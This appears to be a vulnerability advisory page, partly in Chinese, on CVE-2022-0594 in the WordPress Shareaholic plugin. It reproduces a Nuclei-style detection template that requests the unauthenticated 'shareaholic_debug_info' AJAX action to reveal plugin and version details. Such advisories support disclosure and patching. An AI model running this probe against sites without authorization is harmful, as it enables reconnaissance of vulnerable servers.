CVE-2022-0594: WordPress Shareaholic <9.7.6 - Information Disclosure

日期: 2025-08-01 | 影响软件: WordPress Shareaholic | POC: 已公开

漏洞描述

WordPress Shareaholic plugin prior to 9.7.6 is susceptible to information disclosure. The plugin does not have proper authorization check in one of the AJAX actions, available to both unauthenticated (before 9.7.5) and authenticated (in 9.7.5) users, allowing them to possibly obtain sensitive information such as active plugins and different versions (PHP, cURL, WP, etc.).

PoC代码[已公开]

id: CVE-2022-0594

info:
  name: WordPress Shareaholic <9.7.6 - Information Disclosure
  author: atomiczsec
  severity: medium
  description: WordPress Shareaholic plugin prior to 9.7.6 is susceptible to information disclosure. The plugin does not have proper authorization check in one of the AJAX actions, available to both unauthenticated (before 9.7.5) and authenticated (in 9.7.5) users, allowing them to possibly obtain sensitive information such as active plugins and different versions (PHP, cURL, WP, etc.).
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Update the Shareaholic plugin to version 9.7.6 or later to fix the information disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4de9451e-2c8d-4d99-a255-b027466d29b1
    - https://wordpress.org/plugins/shareaholic/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0594
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0594
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-0594
    cwe-id: CWE-863
    epss-score: 0.64295
    epss-percentile: 0.98393
    cpe: cpe:2.3:a:shareaholic:shareaholic:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: shareaholic
    product: shareaholic
    framework: wordpress
  tags: cve,cve2022,wordpress,wp,wp-plugin,exposure,wpscan,shareaholic

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=shareaholic_debug_info"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'plugin_version'
          - 'shareaholic_server_reachable'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e8e7c9bc44c8651d28a987188d150ee2aa955fd71068490d1bc3d7871c9eb2dc02206576a1b7549a840dcbd6c784fd1969abcaf15afe2a79fb55a3ddd895f6216fe6:922c64590222798bb761d5b6d8e72950